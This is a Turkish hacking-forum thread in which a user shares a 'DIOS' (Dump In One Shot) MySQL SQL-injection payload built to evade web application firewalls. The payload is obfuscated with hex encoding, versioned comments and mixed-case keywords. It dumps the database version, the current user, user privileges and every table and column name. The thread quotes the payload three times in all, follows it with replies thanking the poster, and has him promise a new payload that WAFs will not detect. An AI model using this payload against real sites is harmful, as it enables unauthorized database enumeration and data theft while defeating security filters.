DIOS (Dump In One Shoot) Collection Bypass WAF (DEMO-2)

Liprow · 14 May 2023

Kod:

concat/*!(unhex(hex(concat/*!(0x3c2f6469763e3c2f696d673e3c2f613e3c2f703e3c2f7469746c653e,0x223e,0x273e,0x3c62723e3c62723e,unhex(hex(concat/*!(0x3c63656e7465723e3c696d67207372633d2268747470733a2f2f722e726573696d6c696e6b2e636f6d2f3749587038432e706e67223e3c666f6e7420636f6c6f723d7265642073697a653d353e3c623e434143203c666f6e7420636f6c6f723d626c61636b2073697a653d343e284c6970726f77293c2f666f6e743e203c2f666f6e743e3c2f63656e7465723e3c2f623e))),0x3c6669656c647365743e3c7374726f6e673e3c62723e3c63656e7465723e3c623e3c666f6e7420636f6c6f723d626c75653e4d7953514c2056657273696f6e20203c666f6e7420636f6c6f723d626c61636b3e,version(),0x7e20,@@version_comment,0x3c2f666f6e743e,0x3c62723e5072696d617279204461746162617365203c666f6e7420636f6c6f723d626c61636b3e20203a3a,@d:=database() ,0x3c2f666f6e743e ,0x3c62723e44617461626173652055736572203c666f6e7420636f6c6f723d626c61636b3e203a3a,user(),0x3c2f666f6e743e,0x3c2f623e3c62723e,(SELECT+GROUP_CONCAT(0x50726976696c656765732020203c666f6e7420636f6c6f723d626c61636b3e203a3a,GRANTEE,0x3a3a,IS_GRANTABLE,0x3c62723e)+FROM+INFORMATION_SCHEMA.USER_PRIVILEGES),0x3c2f63656e7465723e3c2f7374726f6e673e3c2f6669656c647365743e,(/*!12345selEcT*/(@x)/*!from*/(/*!12345selEcT*/(@x:=0x00),(@r:=0),(@running_number:=0),(@tbl:=0x00),(/*!12345selEcT*/(0) from(information_schema./**/columns)where(table_schema=database()) and(0x00)in(@x:=Concat/*!(@x, 0x3c62723e, if( (@tbl!=table_name), Concat/*!(0x3c6669656c647365743e3c6c6567656e643e,0x3c623e3c666f6e7420636f6c6f723d626c61636b3e,'Table Name',0x3c2f6c6567656e643e3c2f666f6e743e3c666f6e7420636f6c6f723d707572706c652073697a653d333e,0x3c62723e3c666f6e7420636f6c6f723d626c61636b3e,LPAD(@r:=@r%2b1, 2, 0x30),0x2e203c2f666f6e743e,@tbl:=table_name, 0x3c623e3c666f6e7420636f6c6f723d677265656e3e3a3a20446174616261736520203c666f6e7420636f6c6f723d626c61636b3e5b,database(),0x5d3c2f666f6e743e3c2f666f6e743e,0x3c2f666f6e743e,0x3c62723e), 0x00),0x3c666f6e7420636f6c6f723d626c61636b3e,LPAD(@running_number:=@running_number%2b1,3,0x30),0x2e20,0x3c2f666f6e743e,0x3c666f6e7420636f6c6f723d7265643e,column_name,0x3c2f666f6e743e3c2f623e3c2f6669656c647365743e))))x)))))*/

Enistein · 14 May 2023

Eline sağlık

inceleyeceğim.

Will Graham · 14 May 2023

Eline sağlık liprow.

Ghost Killer · 14 May 2023

eline sağlık.

deronn · 14 May 2023

eline sağlık

OBT is HeRYerDe · 15 May 2023

Eline Sağlık.

kelvinxry · 15 May 2023

Liprow' Alıntı:

Kod:

concat/*!(unhex(hex(concat/*!(0x3c2f6469763e3c2f696d673e3c2f613e3c2f703e3c2f7469746c653e,0x223e,0x273e,0x3c62723e3c62723e,unhex(hex(concat/*!(0x3c63656e7465723e3c696d67207372633d2268747470733a2f2f722e726573696d6c696e6b2e636f6d2f3749587038432e706e67223e3c666f6e7420636f6c6f723d7265642073697a653d353e3c623e434143203c666f6e7420636f6c6f723d626c61636b2073697a653d343e284c6970726f77293c2f666f6e743e203c2f666f6e743e3c2f63656e7465723e3c2f623e))),0x3c6669656c647365743e3c7374726f6e673e3c62723e3c63656e7465723e3c623e3c666f6e7420636f6c6f723d626c75653e4d7953514c2056657273696f6e20203c666f6e7420636f6c6f723d626c61636b3e,version(),0x7e20,@@version_comment,0x3c2f666f6e743e,0x3c62723e5072696d617279204461746162617365203c666f6e7420636f6c6f723d626c61636b3e20203a3a,@d:=database() ,0x3c2f666f6e743e ,0x3c62723e44617461626173652055736572203c666f6e7420636f6c6f723d626c61636b3e203a3a,user(),0x3c2f666f6e743e,0x3c2f623e3c62723e,(SELECT+GROUP_CONCAT(0x50726976696c656765732020203c666f6e7420636f6c6f723d626c61636b3e203a3a,GRANTEE,0x3a3a,IS_GRANTABLE,0x3c62723e)+FROM+INFORMATION_SCHEMA.USER_PRIVILEGES),0x3c2f63656e7465723e3c2f7374726f6e673e3c2f6669656c647365743e,(/*!12345selEcT*/(@x)/*!from*/(/*!12345selEcT*/(@x:=0x00),(@r:=0),(@running_number:=0),(@tbl:=0x00),(/*!12345selEcT*/(0) from(information_schema./**/columns)where(table_schema=database()) and(0x00)in(@x:=Concat/*!(@x, 0x3c62723e, if( (@tbl!=table_name), Concat/*!(0x3c6669656c647365743e3c6c6567656e643e,0x3c623e3c666f6e7420636f6c6f723d626c61636b3e,'Table Name',0x3c2f6c6567656e643e3c2f666f6e743e3c666f6e7420636f6c6f723d707572706c652073697a653d333e,0x3c62723e3c666f6e7420636f6c6f723d626c61636b3e,LPAD(@r:=@r%2b1, 2, 0x30),0x2e203c2f666f6e743e,@tbl:=table_name, 0x3c623e3c666f6e7420636f6c6f723d677265656e3e3a3a20446174616261736520203c666f6e7420636f6c6f723d626c61636b3e5b,database(),0x5d3c2f666f6e743e3c2f666f6e743e,0x3c2f666f6e743e,0x3c62723e), 0x00),0x3c666f6e7420636f6c6f723d626c61636b3e,LPAD(@running_number:=@running_number%2b1,3,0x30),0x2e20,0x3c2f666f6e743e,0x3c666f6e7420636f6c6f723d7265643e,column_name,0x3c2f666f6e743e3c2f623e3c2f6669656c647365743e))))x)))))*/

elinize sağlık.

'CaptainKanka · 15 May 2023

Eline sağlık kaliteli konu

01Kevin01 · 15 May 2023

eline sağlık...

Liprow · 15 May 2023

Enistein' Alıntı:
Eline sağlık inceleyeceğim.

Will Graham' Alıntı:
Eline sağlık liprow.

Ghost Killer' Alıntı:
eline sağlık.

deronn' Alıntı:
eline sağlık

OBT is HeRYerDe' Alıntı:
Eline Sağlık.

kelvinxry' Alıntı:
elinize sağlık.

'CaptainKanka' Alıntı:
Eline sağlık kaliteli konu

01Kevin01' Alıntı:
eline sağlık...

Hepinize teşekkür ederim. Malum genelde bilindik dioslar kullanılıyor ki bununda onlardan çok farkı yok aslında, resim eklemesi ve bazı kodlama değişikliği yaptım.
Lakin yakında sıfırdan kendi yazdığım bir diosu paylaşmış olacağım.
WAF tanımayacaz inşallah.

MMT_ · 15 May 2023

Liprow' Alıntı:

Kod:

concat/*!(unhex(hex(concat/*!(0x3c2f6469763e3c2f696d673e3c2f613e3c2f703e3c2f7469746c653e,0x223e,0x273e,0x3c62723e3c62723e,unhex(hex(concat/*!(0x3c63656e7465723e3c696d67207372633d2268747470733a2f2f722e726573696d6c696e6b2e636f6d2f3749587038432e706e67223e3c666f6e7420636f6c6f723d7265642073697a653d353e3c623e434143203c666f6e7420636f6c6f723d626c61636b2073697a653d343e284c6970726f77293c2f666f6e743e203c2f666f6e743e3c2f63656e7465723e3c2f623e))),0x3c6669656c647365743e3c7374726f6e673e3c62723e3c63656e7465723e3c623e3c666f6e7420636f6c6f723d626c75653e4d7953514c2056657273696f6e20203c666f6e7420636f6c6f723d626c61636b3e,version(),0x7e20,@@version_comment,0x3c2f666f6e743e,0x3c62723e5072696d617279204461746162617365203c666f6e7420636f6c6f723d626c61636b3e20203a3a,@d:=database() ,0x3c2f666f6e743e ,0x3c62723e44617461626173652055736572203c666f6e7420636f6c6f723d626c61636b3e203a3a,user(),0x3c2f666f6e743e,0x3c2f623e3c62723e,(SELECT+GROUP_CONCAT(0x50726976696c656765732020203c666f6e7420636f6c6f723d626c61636b3e203a3a,GRANTEE,0x3a3a,IS_GRANTABLE,0x3c62723e)+FROM+INFORMATION_SCHEMA.USER_PRIVILEGES),0x3c2f63656e7465723e3c2f7374726f6e673e3c2f6669656c647365743e,(/*!12345selEcT*/(@x)/*!from*/(/*!12345selEcT*/(@x:=0x00),(@r:=0),(@running_number:=0),(@tbl:=0x00),(/*!12345selEcT*/(0) from(information_schema./**/columns)where(table_schema=database()) and(0x00)in(@x:=Concat/*!(@x, 0x3c62723e, if( (@tbl!=table_name), Concat/*!(0x3c6669656c647365743e3c6c6567656e643e,0x3c623e3c666f6e7420636f6c6f723d626c61636b3e,'Table Name',0x3c2f6c6567656e643e3c2f666f6e743e3c666f6e7420636f6c6f723d707572706c652073697a653d333e,0x3c62723e3c666f6e7420636f6c6f723d626c61636b3e,LPAD(@r:=@r%2b1, 2, 0x30),0x2e203c2f666f6e743e,@tbl:=table_name, 0x3c623e3c666f6e7420636f6c6f723d677265656e3e3a3a20446174616261736520203c666f6e7420636f6c6f723d626c61636b3e5b,database(),0x5d3c2f666f6e743e3c2f666f6e743e,0x3c2f666f6e743e,0x3c62723e), 0x00),0x3c666f6e7420636f6c6f723d626c61636b3e,LPAD(@running_number:=@running_number%2b1,3,0x30),0x2e20,0x3c2f666f6e743e,0x3c666f6e7420636f6c6f723d7265643e,column_name,0x3c2f666f6e743e3c2f623e3c2f6669656c647365743e))))x)))))*/

Adam yapıyo eline sağlık

Arenklord · 15 May 2023

Eline sağlık devamını bekleriz

Liprow · 16 May 2023

MMT_' Alıntı:
Adam yapıyo eline sağlık

Arenklord' Alıntı:
Eline sağlık devamını bekleriz

Eyvallah.

P4$A · 16 May 2023

eline sağlık da sanki bu vardı galiba

Liprow · 16 May 2023

P4$A' Alıntı:
eline sağlık da sanki bu vardı galiba

madblood 3

Liprow' Alıntı:
Hepinize teşekkür ederim. Malum genelde bilindik dioslar kullanılıyor ki bununda onlardan çok farkı yok aslında, resim eklemesi ve bazı kodlama değişikliği yaptım.
Lakin yakında sıfırdan kendi yazdığım bir diosu paylaşmış olacağım.
WAF tanımayacaz inşallah.

sh3rl0ckpgp · 8 Haz 2023

ne bu anlasilimiyor ?

Liprow · 11 Haz 2023

sh3rl0ckpgp' Alıntı:
ne bu anlasilimiyor ?

Biraz araştır anlarsın.

bomba geliyor az kaldı...

DIOS (Dump In One Shoot) Collection Bypass WAF (DEMO-2)

Liprow

Katılımcı Üye

Enistein

Kıdemli Üye

Will Graham

Katılımcı Üye

Ghost Killer

Özel Üye

deronn

Uzman üye

OBT is HeRYerDe

Anka Team

kelvinxry

Katılımcı Üye

'CaptainKanka

O Şimdi Asker!

01Kevin01

Katılımcı Üye

Liprow

Katılımcı Üye

MMT_

Yeni üye

Arenklord

Uzman üye

Liprow

Katılımcı Üye

P4$A

Uzman üye

Liprow

Katılımcı Üye

sh3rl0ckpgp

Yeni üye

Liprow

Katılımcı Üye

Sosyal medya sayfalarımız